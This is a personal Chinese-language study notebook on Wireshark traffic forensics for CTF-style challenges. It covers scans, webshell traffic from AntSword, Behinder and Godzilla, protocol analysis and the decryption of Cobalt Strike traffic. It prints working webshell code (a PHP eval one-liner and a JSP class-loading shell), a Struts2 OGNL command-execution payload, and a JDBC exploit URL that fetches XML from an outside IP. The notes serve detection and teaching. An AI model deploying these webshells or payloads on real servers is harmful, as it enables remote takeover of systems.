流量分析笔记

记了一点流量分析的笔记,以后遇到没见过的应该都记在这里了。因为记录的时间在后面了,前期遇到过的有些没有例题九九没记,后续要是再遇到了也会补上


IP统计

image-20250330172818656

统计->IPv4 Statistics->All Addresses

image-20250320094552199


IPV4统计每列含义

1. Topic/Item(统计项)

  • 含义:表示统计的分类或具体项目名称。例如,“IPv4 Statistics/All Addresses”指针对所有IPv4地址的全局统计。
  • 用途:区分不同统计类别(如按地址、协议或端口分类),帮助快速定位分析目标。

2. Count(计数)

  • 含义:捕获的IPv4数据包总数。
  • 用途:反映网络流量的总体规模。高计数可能表示网络繁忙或潜在洪水攻击(如DDoS),低计数可能表示网络空闲或异常中断。

3. Average(平均值)

  • 含义:数据包的平均大小(单位:字节)或传输间隔(单位:毫秒)。
  • 用途:评估流量的平均负载或传输效率。若平均包大小异常,可能涉及协议滥用(如分片攻击)或应用层流量特征分析。

4. Min Val(最小值)

  • 含义:数据包的最小大小或最小传输间隔。
  • 用途:识别极小数据包(如心跳包、探测包),可能用于检测网络扫描或异常协议行为。

5. Max Val(最大值)

  • 含义:数据包的最大大小或最大传输间隔。
  • 用途:发现超大包(如视频流、大文件传输)或异常延迟,可能指示网络拥塞或攻击(如UDP Flood)。

6. Rate (ms)(速率)

  • 含义:数据包的传输速率(单位:包/毫秒)或时间间隔统计。
  • 用途:衡量流量密集程度。高速率可能表示突发流量(如DDoS攻击),低速率可能为正常业务流量。

7. Percent(百分比)

  • 含义:当前统计项占整体流量的比例。
  • 用途:分析IPv4流量在总流量中的占比,辅助判断网络协议分布是否合理(如IPv4 vs. IPv6)。

8. Burst Rate(突发速率)

  • 含义:短时间内流量的峰值速率(如包/秒)。
  • 用途:检测流量突增事件(如DDoS攻击、大文件下载),结合时间戳定位异常时间段。

9. Burst Start(突发开始时间)

  • 含义:流量突发事件的起始时间戳(如相对捕获开始的时间)。
  • 用途:精准定位突发事件的起点,用于日志关联分析或攻击溯源。

流量分析中的实际应用场景

  1. DDoS检测
    • Count + 高Burst Rate + 多源IP可能表明DDoS攻击。
    • 对比AverageMax Val,若大量小包(如SYN Flood),平均包大小会显著降低。
  2. 带宽利用率评估
    • 通过RatePercent判断IPv4流量占比及速率是否超出网络承载能力。
  3. 异常协议识别
    • Min Val接近协议最小包头长度(如40字节)可能表示空载荷攻击(如ACK Flood)。
  4. 时间关联分析
    • Burst Start结合其他日志(如防火墙日志),可追溯攻击源头或业务高峰时段。

查看客户端和服务端IP

一般操作就是看Count次数排列来分析

image-20250330173343703

看次数最多的,一般就是前两个,第一个就是客户端,第二个就是服务端


开放端口

一般流量包一打开就是扫描过程,可以看到SYN包

image-20250315134909136

nmap的SYN半开扫描:

这种扫描方式通过发送 SYN 包到目标端口来判断端口的状态

SYN扫描的工作原理

  1. 发送 SYN 包:Nmap 向目标主机的特定端口发送 SYN 包
  2. 接收响应: 如果收到 SYN/ACK 回复,说明端口是开放的。 如果收到 RST 包,说明端口是关闭的。 如果没有收到回复,说明端口被屏蔽(Filtered)

可以过滤SYN为0的包来查看

image-20250315140115014


服务器开放端口

如服务器IP是192.168.162.188过滤:

ip.dst==192.168.162.188&&tcp.connection.synack

tcp.connection.synack 主要用于筛选出 服务器端响应的 SYN-ACK 包,这些包表明服务器接收到连接请求,并准备建立连接

image-20250325180554647


流量分析中常见的webshell流量

Webshell流量是指通过Webshell这种工具进行的网络通信流量。Webshell通常是攻击者通过Web服务器上的漏洞上传的恶意脚本,能够让攻击者远程控制目标服务器。分析Webshell流量,可以帮助我们识别恶意活动,发现潜在的安全威胁。

在流量分析中,我们会关注Webshell流量的特征,如异常的请求头、未经授权的命令执行、频繁的文件上传或下载等行为。这些异常流量通常与正常用户的访问行为有很大区别,通过检测这些特征,安全人员可以更早地发现入侵并进行防护。

通俗地讲,Webshell其实就是一种“后门”工具,攻击者通过它可以通过网站的漏洞上传到服务器上,然后借助Webshell里的各种功能(比如命令执行、反弹shell等)控制整个网站。

具体来说,攻击者通常通过以下步骤操作:

  1. 利用漏洞上传Webshell:攻击者先通过网站存在的漏洞(比如文件上传漏洞)将Webshell脚本上传到服务器。
  2. 访问Webshell:一旦Webshell被上传并存储在服务器上,攻击者就可以通过浏览器或其他工具访问这个Webshell文件。
  3. 执行命令:通过Webshell提供的命令执行功能,攻击者可以在服务器上执行任意命令,比如查看文件、删除数据、反向连接攻击者的计算机等。
  4. 进一步控制:攻击者还可以利用Webshell发起更多的攻击,甚至在服务器上植入其他恶意程序,维持对服务器的控制。

本次分享主要是通过工具连接捕获流量之后在wireshark里面观察流量,连接时的流量,并且通过命令执行来观察,了解流量需要怎么解密


蚁剑

wireshark选择网络接口

因为靶场是在127.0.0.1,要捕获回环流量,应该选择“Adapter for loopback traffic capture”这一项,它通常用于捕获本地回环接口的流量。这个接口标识通常是BSD loopback

image-20250421173000691

打开靶场,这里选了Pikachu的文件上传

image-20250421165714884

准备好一句话木马:

<?php @eval($_POST['hack']);?>

这个代码就像一把万能钥匙,它由三个关键部分组成:

  • 🛑 @ 符号:相当于"静音模式",即使出错也不显示错误提示
  • 🔑 eval 函数:相当于"代码翻译机",能把普通文本变成可执行的程序
  • 📦 $_POST['hack']:接收来自外部的秘密指令包

形象比喻:
想象你开了一家餐馆:

  • 🍽️ POST请求就像顾客下的订单
  • 📝 $_POST['hack'] 就是顾客写在订单上的内容
  • 👨🍳 eval 就是完全照顾客订单做菜的厨师(即使订单要求往菜里放老鼠药)
  • 😶 @ 符号就是即使厨师发现订单有问题,也保持沉默不报警

工作原理:
黑客通过发送特殊构造的"订单"(比如:hack=echo "你的网站被黑了"),这个"厨师"就会忠实执行所有指令,包括:

  • 🔓 窃取数据库密码
  • 💾 下载病毒文件
  • 🔥 删除网站数据
  • 👁️ 偷看用户信息

这里新建一个txt后缀改成png(因为只能传图片,改了后缀网站就认为你这个文件是图片文件),用记事本打开输入一句话木马

wireshark开启监听

右键选择网络开始捕获

上传抓包改后缀

选择之前准备的文件

image-20250421170826916

打开bp,进行抓包

点开始上传

image-20250421171022756

可以看到文件,改后缀再放包

image-20250421171107124

image-20250421171255057

可以看到上传成功了

我们蚁剑连接一下

image-20250421171421924

image-20250421171532305

ok进来了

wireshark过滤http查看

Webshell 是一种通过 Web 服务(通常是 HTTP 协议)控制服务器的工具。攻击者通过 Webshell 向目标服务器发送请求,并接收响应。这些请求和响应就像普通的网页浏览一样,都是通过 HTTP 协议传输的,过滤 HTTP 是为了去掉不必要的干扰。查看 HTTP 追踪流 就是能够帮助你看到 Webshell 攻击的 总体过程,具体来说,它会让你清楚地了解攻击者如何通过 Webshell 与目标服务器交互

这里去看捕获的流量会发现蚁剑流量

可以发现密码就是POST请求中的参数

image-20250421203300997

之后执行的命令执行就是去虚拟终端执行

image-20250421174619264

命令执行

image-20250421174656289

这里执行了whoami和dir,去流量包看

观察流量

image-20250421174751238

追踪流看会发现前面就是执行的命令,响应包就是终端显示的内容

image-20250421174849539

解密

找到1.php,在显示字节分组里面也可以看到,base64解码

image-20250421174926981

一些题目里面的蚁剑流量base64解密的时候需要从第三个字符开始,就是去掉前面两个字符

前面两个字符的作用是用来混淆,避免被防火墙或者其他拦截系统拦截

去掉前两个字符的原因通常与流量的编码方式、加密头、协议标识符或工具的处理方式有关。如果你遇到的流量需要去掉前两个字符,可能是因为该流量使用了某种编码或加密方式,而这两个字符是该方式的一部分,起到标识、分隔或加密头的作用。在解密过程中,去掉这些字符是为了获取正确的加密数据进行解密。

特征

使用普通的一句话都存在以下特征:
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符
image-20250422112239042

题目

这里拿了一个题目的流量包,过滤http会发现很简洁,一眼就发现了蚁剑流量

image-20250422142701711

还是追踪流总体观察

image-20250422142922903

符合蚁剑流量特征,可以确定就是蚁剑流量。这个题目的加密数据再后面,可以在分组字节流解码查看

image-20250422143050310

image-20250422143110440

注意这里是从第二个字符开始解码的,前面两个是用来混淆的,需要去掉

后续的操作都是类似,解码->查看命令执行过程


冰蝎3.0

这里自己抓包用的4.0后面分析不知道当时为啥又用了3.0,搞错了,这里算3.0解密吧orz

冰蝎3.0的加密方式相对固定,攻击者无法像4.0那样灵活选择不同的加密方式来绕过检测。

冰蝎4.0提供了更多的加密方式和插件支持,可以针对不同的环境和防护机制选择最合适的加密方式,从而提升了Webshell的隐蔽性和攻击成功率。

打开冰蝎管理工具

image-20250421185835686

传输协议->协议名称->生成服务器

可以看到加密函数,并且生成了两个文件

image-20250421185904580

上传文件、连接

其中shell.php里面就是加密函数,把php上传到网站,这里和之前的一样,png传然后改后缀

上传成功之后去工具连接,和蚁剑差不多

image-20250421204416333

进来了

image-20250421204435191

命令执行

这里可以看到有很多插件用来攻击,这里只演示了命令执行

image-20250421204450702

观察流量

好了,我们去wireshark里面看流量,过滤http进行追踪流

image-20250421204524710

找到了加密函数,根据加密函数可以写出对应的解密函数

解密

这里后面检查笔记的时候发现搞错了,自己用的是冰蝎4.0的,但是解密用的又是3.0的了,4.0我目前好像还没有找到有什么可以解密的,3.0可以用脚本或者一键式工具解密,或者是先base64再AES

<?php
function Decrypt($data)
{
    $key = "e45e329feb5d925b"; // 密钥
    $decodedData = base64_decode($data); // 先进行Base64解码
    $decryptedData = '';

    // 使用异或运算解密
    for ($i = 0; $i < strlen($decodedData); $i++) {
        // 异或操作,key的字符按循环方式使用
        $decryptedData .= $decodedData[$i] ^ $key[$i + 1 & 15];
    }

    return $decryptedData; // 返回解密后的数据
}

// 用法示例
$encryptedData = "这里是加密后的数据"; // 替换成实际的加密数据
$decryptedData = Decrypt($encryptedData);
echo $decryptedData; // 打印解密后的内容
?>

找到加密的流量

image-20250422110130236

用脚本解密

image-20250422110200928

可以看到加密算法,得到密钥

在这个流里面返回的两个响应包一般是Webshell启动后的初步反馈信息,主要包括一些验证信息、初始状态、可用的插件或功能等

image-20250422110953008

也是解密脚本解密,得到的信息再拿去base64解密

image-20250422111040870

有很多信息,都是可以拿去单独base64解密得到连接的网站的信息

后续的加密流量

image-20250422111207128

image-20250422111256181

base64解码

image-20250422111359788

可以看到执行的命令和路径

响应包一样的操作

image-20250422111502121

image-20250422111518918

上一条命令的返回结果

特征

2.0:

第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
请求包存在:Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2

建立连接后的cookie存在特征字符
所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;

3.0:

请求包中content-length 为5740或5720(可能会根据Java版本而改变)
每一个请求头中存在
Pragma: no-cache,Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.9

下面的是4.0

image-20250422112530298

冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用

image-20250422112745156

题目

24年龙信取证的流量包,前面有其他的分析过程这里先不讲,直接看冰蝎流量

过滤:

http contains "up_load.html"

image-20250422144137309

追踪流中找,在流93发现加密函数,可以知道密钥是e45e329feb5d925b

继续往后面找

image-20250422144252170

下一个就是加密函数,可以用一键式工具解密:

image-20250422144358942

也可以一步步解密,看之前的加密函数知道解密需要先base64解密再是aes

image-20250422144741129

这里初始化向量要是32个0。当没有明确提供 IV 时,很多库(包括 openssl_decrypt())会默认将 IV 设置为 0。也就是说,IV 会被初始化为一个 16 字节(128 位)的全 0 数组。因为你在代码中使用的是 AES-128,所以这个默认 IV 的长度应该是 16 字节。为什么是 32 个零呢?这个是因为每个零都用 两个十六进制字符表示(即一个字节)。16 字节对应 32 个零的十六进制表示。

后续操作就是差不多的了


哥斯拉

差不多的操作

生成shell

image-20250421191654494

image-20250421191805970

生成之后和冰蝎一样会有文件,其实就是一句话木马

image-20250422103225333

pass就是之前设置的密码

上传文件、连接

和之前操作一样在网站上传文件之后来工具连接

image-20250421192358535

image-20250422103509319

命令执行

image-20250422103534202

观察流量

在http追踪流里面可以看到我们上传的文件内容,就是那个一句话木马:

image-20250422103654357

再往后面可以看到加密流量,可以发现和蚁剑一样,密码就是POST请求中的参数名称

image-20250421200855662

一整个拿去url解码好看一些

image-20250422104509403

这一段解密需要先反转再拿去base64解密可以得到加密函数或者说核心逻辑

image-20250422104619215

可以看到密码和密钥

密钥:用于对请求数据进行加密,不过加密过程中并非直接使用密钥明文,而是计算密钥的md5值,然后取其前16位用于加密过程

这里key的md5值是

3c6e0b8a9c15224a8228b9a98ca1531d

前16位就是3c6e0b8a9c15224a

解密

<?php 
//直接使用encode方法
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
 
$key='3c6e0b8a9c15224a';
$key1="72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488";//输入密文
$str=substr($key1,16,-16);//原来的数据去掉前十六位和后十六位
$str=gzdecode(encode(base64_decode($str),$key));
echo $str;
 ?>

image-20250422103911933

image-20250422103922268

在显示连接成功之后会先返回ok和设备信息

后续的追踪流可以看到都是被加密的流量

image-20250422104002454

image-20250422104144076

还有一些题目就直接可以看到加密函数:

image-20250524181018652

特征

所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate,
同时在所有请求中Cookie中后面都存在特征,会有一个分号

image-20250422113039106

做题

这种webshell我目前遇到过的就是问题直接问的执行了什么命令,或者是更改的数据库密码是什么,这个也是通过解密数据来看命令执行,需要我们了解webshell流量的攻击过程和如何解密,通过自己用wireshark捕获流量n 去分析感觉会更加直观一些


冰蝎4.0

这里拿之前遇到过的一个题目来讲了

webshell

image-20251205171000523

jsp的

<%@page import="java.util.*, javax.crypto.*, javax.crypto.spec.*"%>

<%!
// 自定义类加载器
class U extends ClassLoader {
    U(ClassLoader c) {
        super(c);
    }
    
    // 自定义类加载方法
    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
}
%>

<%
// 如果请求中包含bing_pass参数,生成并返回加密密钥
if (request.getParameter("bing_pass") != null) {
    // 生成UUID并处理作为密钥
    String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
    session.putValue("u", k);  // 存储密钥到session
    out.print(k);  // 返回密钥给客户端
    return;
}

// AES解密流程
Cipher c = Cipher.getInstance("AES");
// 使用session中存储的密钥初始化解密器
c.init(Cipher.DECRYPT_MODE, 
       new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));

// 读取请求体中的加密数据,解密并加载执行
new U(this.getClass().getClassLoader())
    .g(c.doFinal(new sun.misc.BASE64Decoder()
        .decodeBuffer(request.getReader().readLine())))
    .newInstance()
    .equals(pageContext);
%>

冰蝎4.0有好几种加密方式,这里就是一个,jsp,解密的话就需要根据加密脚本去写出对应的解密脚本来进行解密了

密码

密码就是bing_pass:

1. 认证触发点

在代码中:

if (request.getParameter("bing_pass") != null) {
    // 生成密钥并返回
    String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
    session.putValue("u", k);
    out.print(k);
    return;
}
  • bing_pass是认证触发参数:任何值都可以(如?bing_pass=1
  • 不是传统密码:更像是一个"暗号"或"触发开关"

2. 双阶段认证流程

这个WebShell使用两阶段认证

阶段1:获取加密密钥

请求:http://target.com/shell.jsp?bing_pass=1
响应:返回一个随机AES密钥

阶段2:加密通信

1. 客户端用获得的AES密钥加密恶意字节码
2. Base64编码后通过POST发送
3. WebShell解密并执行

所以webshell密码就是bing_pass

有点类似蚁剑那种,前面那个参数就是连接密码

密钥

密钥和密码不是同一个东西,拿这个题目来说,通过bing_pass来传参,然后就返回了一个密钥

image-20251207093915505

根据解密我们需要用到加密数据的上一个响应返回的来当作密钥解密数据,也就是b99f657b04941030

解密

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# ===================== 需手动替换的内容 =====================
# 1. 密钥:对应JSP中session里的u值(UUID截取后16位,16字节=128位,AES-128)
AES_KEY = b"b99f657b04941030"  
# 2. 加密数据:对应请求体中BASE64编码的加密内容
ENCRYPTED_BASE64_DATA = "加密数据"
# ============================================================

# 步骤1:BASE64解码加密数据
encrypted_data = base64.b64decode(ENCRYPTED_BASE64_DATA)

# 步骤2:AES解密(JSP默认AES模式为ECB,无IV,填充方式PKCS5Padding)
cipher = AES.new(AES_KEY, AES.MODE_ECB)
try:
    # 解密并去除PKCS5填充
    decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)

    # 步骤3:将解密后的字节码保存为class文件
    with open("decrypted.class", "wb") as f:
        f.write(decrypted_data)
    print("解密成功!已输出class文件:decrypted.class")
except Exception as e:
    print(f"解密失败:{str(e)}")
    print("请检查密钥是否正确、加密数据是否完整,或填充/模式是否匹配")

解密之后保存为class文件

反编译

拿去反编译(在线网站:在线Java反编译器 - ShenmeApp)就得到了:

image-20251207105905337

可以看到执行的命令

响应

这里的响应是乱码,暂时还不知道怎么解密,有知道的佬可以教教我

image-20251207114917199


各种协议

Telnet协议

概念

Telnet协议是一种最早的internet应用,telnet协议提供了一种通过终端远程登录到服务器的方式,呈现一个交互式操作界面,用户可以先登录到一台主机,然后再通过telnet的方式远程登录到网络上的其他主机上,而不需要为每一台主机都连接一个硬件终端,然后对设备进行配置和管理

做题

目前遇到过的就是简单的进行追踪流然后看命令执行

可以看到登录过程输入的密码:

image-20250326190028629

命令执行详解:

image-20250327105957871

.]0;ctf@ubuntu: ~..[01;32mctf@ubuntu.[00m:.[01;34m~.[00m$ 
l
l
s
s
  • 含义:用户输入命令的过程,包含以下内容:
    • 终端提示符ctf@ubuntu: ~$ 是Bash提示符,包含:
      • .]0;ctf@ubuntu: ~.:终端标题(通过ANSI转义码设置)。
      • [01;32m:设置文本颜色为绿色(32)和粗体(01)。
      • [01;34m:设置目录名颜色为蓝色(34)。
      • [00m:重置颜色样式。
    • 用户输入:用户输入ls命令时,可能因Telnet逐字符传输或用户误操作导致重复字符(ls各输入两次)。
.[0m.[01;34mDesktop.[0m    .[01;34mDownloads.[0m ... 
  • 含义ls命令的输出结果,显示当前目录下的文件和文件夹:
    • [01;34m:目录名用蓝色显示(如DesktopDownloads)。
    • [0m:重置颜色样式。
    • 实际内容:用户主目录下的标准文件夹(如DesktopDocuments等)。

后面的类似,执行cat /etc/passwd


请求和返回参数


JWT

特征

JWT 由 三个部分 组成:

  1. Header(头部)(Base64 编码)
  2. Payload(有效载荷)(Base64 编码)
  3. Signature(签名)(用于验证数据完整性)

image-20250328154933246

解密

image-20250328154833247

或者直接用在线解密网站:jwt.io

Authorization: Basic

Authorization: Basic是http中的基本认证,后面接着的是经过了base64加密之后的用户名和密码

image-20250729112541489

image-20250729112414307


暴力破解账号密码

这种的一般就是在过滤之后看到请求包都是一些大差不差的,相应包都是返回错误

利用相应包长度一样可以进行筛选,筛选相应包长度不一样的或者不等于错误的

实例

image-20250329120209849

这里可以看到是个暴力破解,返回的错误的包长度都是237,就可以过滤长度不为237的

http&&frame.len!=237

image-20250329121712952

这里看返回包长度为559,再去看上一个请求包就是正确的账号密码


结合漏洞


Spring4Shell(CVE-2022-22965)漏洞

追踪流发现

image-20250329152933871

class.module.classLoader.resources.context.parent.pipeline.first.pattern

有上述明显特征代码

Spring Framework远程命令执行复现(CVE-2022-22965)_利 class对象构造利 链,对tomcat的日志配置进行修改,然后,向 志中写 shell-CSDN博客


PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)

value发现

image-20250329152205133

jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://116.62.63.234:9988/custom.dtd.xml

有上述明显特征

异常参数解析

  • socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
    通常JDBC的socketFactory用于指定网络套接字实现,但这里指向了一个Spring框架的类ClassPathXmlApplicationContext(用于加载XML配置文件)。这完全不符合合法用途,明显是滥用机制。
  • socketFactoryArg=http://116.62.63.234:9988/custom.dtd.xml
    参数指向一个外部服务器的XML文件。结合前面的ClassPathXmlApplicationContext,会导致Spring加载并执行该远程XML文件。

攻击原理

  • 恶意XML远程加载
    Spring的ClassPathXmlApplicationContext会解析指定的XML文件。如果攻击者控制了这个XML,可以通过Spring的SpEL表达式或特定Bean定义注入恶意代码(如执行系统命令)。
  • 远程代码执行(RCE)
    攻击者可能在custom.dtd.xml中植入恶意逻辑,利用Spring的机制在目标服务器上执行任意代码,完全控制服务器。

PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)-先知社区


struts2漏洞

特征:
image-20250320121631915

这是一个 OGNL(Object-Graph Navigation Language)表达式,通常用于Apache Struts2框架中。它利用了Struts2的漏洞(如 CVE-2017-5638)来执行远程代码执行(RCE)攻击

这段代码的主要目的是通过OGNL表达式在目标服务器上执行系统命令。具体步骤如下:

(1) 设置OGNL上下文

  • (#nike='multipart/form-data'):设置一个变量 nike,值为 multipart/form-data
  • (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS):获取OGNL的默认成员访问权限。
  • (#_memberAccess?(#_memberAccess=#dm):...):检查当前成员访问权限,如果没有权限,则通过Struts2容器获取OgnlUtil实例,并清除排除的包名和类名,最终设置成员访问权限为默认权限。

(2) 构造系统命令

  • (#cmd='SuSEfirewall2 stop'):定义要执行的系统命令为 SuSEfirewall2 stop(停止SuSE防火墙)。
  • (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))):检查操作系统是否为Windows。
  • (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})):根据操作系统类型构造命令执行参数(Windows使用 cmd.exe,Linux使用 /bin/bash)。

(3) 执行系统命令

  • (#p=new java.lang.ProcessBuilder(#cmds)):创建一个 ProcessBuilder 对象,用于执行系统命令。
  • (#p.redirectErrorStream(true)):将错误流重定向到标准输出流。
  • (#process=#p.start()):启动进程并执行命令。

(4) 获取命令输出

  • (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())):获取HTTP响应的输出流。
  • (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)):将命令执行的输出流复制到HTTP响应输出流中。
  • (#ros.flush()):刷新输出流,确保数据发送到客户端。

过滤

通过wireshark的过滤可以减少很多工作量,其实大部分分析的都是http协议的

登录信息

一般的登录都是POST请求,可以过滤所有POST来查看登录信息

http.request.method=="POST"

关键字

通过搜索关键字快速定位

数据库相关

dbpassdbuserpassword

在许多应用程序的配置文件中,数据库用户名和密码通常被定义为变量,如“dbuser”和“dbpass”。这些变量名是常见的约定,很多开发者在代码中使用这些命名。


javascript


之前遇到过,不是单纯的webshell,也记录一下

image-20250327122954299

代码里面包含了密钥和初始化变量

分析:

  • 使用AES-CBC模式加密(密钥硬编码在JS中)

  • 加密密钥:l36DoqKUYQP0N7e1

  • 初始化向量(IV):131b0c8a7a6e072e

  • 对用户名和密码分别进行加密后传输

  • 请求方法:POST

  • 目标路径:/register

  • Content-Type:application/x-www-form-urlencoded (默认)

  • 请求体格式:username=<加密字符串>&password=<加密字符串>

有点像冰蝎,解密都是先base64再AES,只不过这里多一个初始化变量


CS流量

看了一个解释的很清楚的文章:基于玄机靶场CobaltStrike流量分析题目的学习笔记 | lexsd6's home

关注:

stager Beacon

里面有完整的stager Beacon文件,通过解密文件我们可以得到server相关的细节信息。一般就是心跳包前面的数据包,类似:

image-20251202101116776

FJwV就是stager Beacon包,可以在导出对象提取文件

心跳包

就是上面截图所框起来的,响应不为空,并且隔一段时间就会发送一次请求

结果回显包

受害者通过post回传的结果包

cobaltstrike.beacon_keys文件

这个一般是在受害者的主机下,TeamServer的RSA密钥对默认存储在~/.cobaltstrike.beacon_keys文件中,首次启动时自动生成。若未手动替换,所有Beacon通信均使用同一对密钥,这使得历史私钥泄露可能导致流量被解密

解密步骤

没有cobaltstrike.beacon_keys文件的情况下

公钥

通过stager Beacon文件用1768.py(minhangxiaohui/CSthing: somthing about Cobaltstrike)进行解密得到:

image-20251129102327863

得到公钥:

30819f300d06092a864886f70d010101050003818d003081890281810093b4127271907b80352c6a15b6bb1701bd01657a2fba3ca1fba56d9a13e9f1f3121ac3aa70248f8621217fddfc0a484e78ebf4e5b48bb4804eababe5366cf4886b6ce2a5a113edd851fc5b2fb62a925043354000bbae7f2f75d7b0b7097a17b7c7de195174d4b17cee1499ae1e52e3ce3eec3f70011d971d022c0a8723def11d020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

n和e

通过上个步骤得到的公钥去得到n和e,脚本:

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import binascii

# 将你的16进制字符串放在这里
hex_key = "30819f300d06092a864886f70d010101050003818d003081890281810093b4127271907b80352c6a15b6bb1701bd01657a2fba3ca1fba56d9a13e9f1f3121ac3aa70248f8621217fddfc0a484e78ebf4e5b48bb4804eababe5366cf4886b6ce2a5a113edd851fc5b2fb62a925043354000bbae7f2f75d7b0b7097a17b7c7de195174d4b17cee1499ae1e52e3ce3eec3f70011d971d022c0a8723def11d0203010001"

# 安装:pip install cryptography
try:
    # 将十六进制字符串转换为字节
    key_bytes = binascii.unhexlify(hex_key)
    
    # 导入RSA公钥
    public_key = serialization.load_der_public_key(key_bytes, backend=default_backend())
    
    # 获取RSA参数
    n = public_key.public_numbers().n
    e = public_key.public_numbers().e
    
    # 打印模数和指数
    print(f"Modulus (n): {n}")
    print(f"Exponent (e): {e}")
    
    # 将RSA公钥导出为PEM格式
    pem_key = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    
    # 打印PEM格式公钥
    print(pem_key.decode('utf-8'))
    
except Exception as ex:
    print(f"错误: {ex}")

得到:

Modulus (n): 103720859306292228493187018335794719456704076702613648934820512721556915134407332273523620087297590638308487185636243050421776465571366028453861111400218515890201860005015546954677081983567089638559303489819418447930083602797597195659491558217965106724744145849368927955484176253258934021689357027136103182621
Exponent (e): 65537
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCTtBJycZB7gDUsahW2uxcBvQFl
ei+6PKH7pW2aE+nx8xIaw6pwJI+GISF/3fwKSE546/TltIu0gE6rq+U2bPSIa2zi
paET7dhR/FsvtiqSUEM1QAC7rn8vddewtwl6F7fH3hlRdNSxfO4Uma4eUuPOPuw/
cAEdlx0CLAqHI97xHQIDAQAB
-----END PUBLIC KEY-----

私钥

利用n和e分解p和q之后再计算私钥

有cobaltstrike.beacon_keys文件的情况

私钥

通过我们在受害者主机得到的cobaltstrike.beacon_keys文件提取私钥:

import base64
import javaobj.v2 as javaobj

with open(".cobaltstrike.beacon_keys", "rb") as fd:
    pobj = javaobj.load(fd)

def format_key(key_data, key_type):
    key_data = bytes(map(lambda x: x & 0xFF, key_data))
    formatted_key = f"-----BEGIN {key_type} KEY-----\n"
    formatted_key += base64.encodebytes(key_data).decode()
    formatted_key += f"-----END {key_type} KEY-----"
    return formatted_key

privateKey = format_key(pobj.array.value.privateKey.encoded.data, "PRIVATE")
publicKey = format_key(pobj.array.value.publicKey.encoded.data, "PUBLIC")

print(privateKey)
print(publicKey)

image-20251129113451955

raw key

再通过私钥和流量包里面加密的元数据和解密脚本cs-decrypt-metadata.py(minhangxiaohui/CSthing: somthing about Cobaltstrike)去得到raw key

cs-decrypt-metadata.py -p 私钥的hex值 加密的元数据

all.js数据包的加密元数据

image-20251130144355913

python cs-decrypt-metadata.py 30820276020100300d06092a864886f70d0101010500048202603082025c0201000281810093b4127271907b80352c6a15b6bb1701bd01657a2fba3ca1fba56d9a13e9f1f3121ac3aa70248f8621217fddfc0a484e78ebf4e5b48bb4804eababe5366cf4886b6ce2a5a113edd851fc5b2fb62a925043354000bbae7f2f75d7b0b7097a17b7c7de195174d4b17cee1499ae1e52e3ce3eec3f70011d971d022c0a8723def11d020301000102818069fee4ea1a135c7d922b306a2abb32747de59da444d1faa72806fc9380ccf763bf4f53b1614eeb6c8f24123604a480654823d4986fab7e3a41bab2de07e3c2cb6ec3a6dec4a8e8a22820bbb020a3cfe307978bc11d78551e6fc69dc058170b65cfb3d434827bf5e3c5030cd55fe94a8e4bfcada77ade6c3302417509b2e39225024100fcc826f55f2e5c1e3aa352707dff894ae493fac51570250bf2b80743e41ec66ea08d81f7f68c572183764e27506cecc0b562cc0f1b7e0a9da09d2f472575da8f024100959574bea8438053188e895c2da2c44fe54530ea522fdbeaccc5279755535f8ad61a9c7f3cfe7decaf85031a2ce52990100b5f130e5c5e457c0acd6832a2ff9302400cf8ac5f1d024101e01a6f698c5da78aeb4dd8a9725f2dd77e1e0969677458d46672bc7f9fec35b0679193931ae26c07bb871557951e93a6e10e0fd603cb176b02401b0e537580dde4c222f8f5237525b1b879d1d00d321c71fcc05910d6309ac9f744cebf6bcc4e83dc61caff4aa6c0348a583c964fce132b020a73b1bf9d191a7d024100cd61443812aa2e77c8651e20e80b6e22e81270cebb9d4dcaa68e8ff63159b272eb32385ce91bf27ca5ab9d092978dc7c1866a04eb38a9535de5f1723952be9d2 IyltNSnpj6lSGi0WGIaJIsFWg6Ko6V+20xExzajz0A3AkRi2MMWjLSZvHltXLFJg5joFEKQ8lQYKh96XCYfDMO3yWWCzyZdpoCLdWRNzR8FN3Z3buww8afGOhKe+NVEWFzTPafNZh3kFlWUf5zk/etCn8WPy4qg4BArMvbx/yqM=

得到:

